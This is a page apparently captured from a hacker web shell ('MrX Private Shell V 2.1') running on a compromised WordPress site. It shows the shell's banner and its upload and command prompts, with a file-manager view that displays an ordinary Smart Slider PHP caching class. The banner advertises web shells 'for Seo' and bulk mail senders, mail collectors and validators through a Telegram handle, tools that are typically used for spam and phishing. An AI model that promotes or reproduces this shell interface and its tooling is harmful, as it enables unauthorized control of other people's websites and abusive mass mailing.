__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Asset\Css\Less;

use Exception;
use Nextend\Framework\Cache\Manifest;

class Cache extends \Nextend\Framework\Asset\Css\Cache {


    public $outputFileType = "less.css";

    public function getAssetFile($group, &$files = array(), &$codes = array()) {
        $this->group = $group;
        $this->files = $files;
        $this->codes = $codes;

        $cache = new Manifest($group, false, true);
        $hash  = $this->getHash();

        return $cache->makeCache($group . "." . $this->outputFileType, $hash, array(
            $this,
            'getCachedContent'
        ));
    }

    /**
     * @param Manifest $cache
     *
     * @return string
     * @throws Exception
     */
    public function getCachedContent($cache) {

        $fileContents = '';

        foreach ($this->files as $parameters) {
            $compiler = new LessCompiler();

            if (!empty($parameters['importDir'])) {
                $compiler->addImportDir($parameters['importDir']);
            }

            $compiler->setVariables($parameters['context']);
            $fileContents .= $compiler->compileFile($parameters['file']);
        }

        return $fileContents;
    }

    protected function makeFileHash($parameters) {
        return json_encode($parameters) . filemtime($parameters['file']);
    }

    protected function parseFile($cache, $content, $lessParameters) {

        return parent::parseFile($cache, $content, $lessParameters['file']);
    }
}

Filemanager

Name Type Size Permission Actions
Formatter Folder 0775
Asset.php File 571 B 0775
Cache.php File 1.46 KB 0775
Less.php File 908 B 0775
LessCompiler.php File 68.93 KB 0775
LessParser.php File 42.52 KB 0775
Filemanager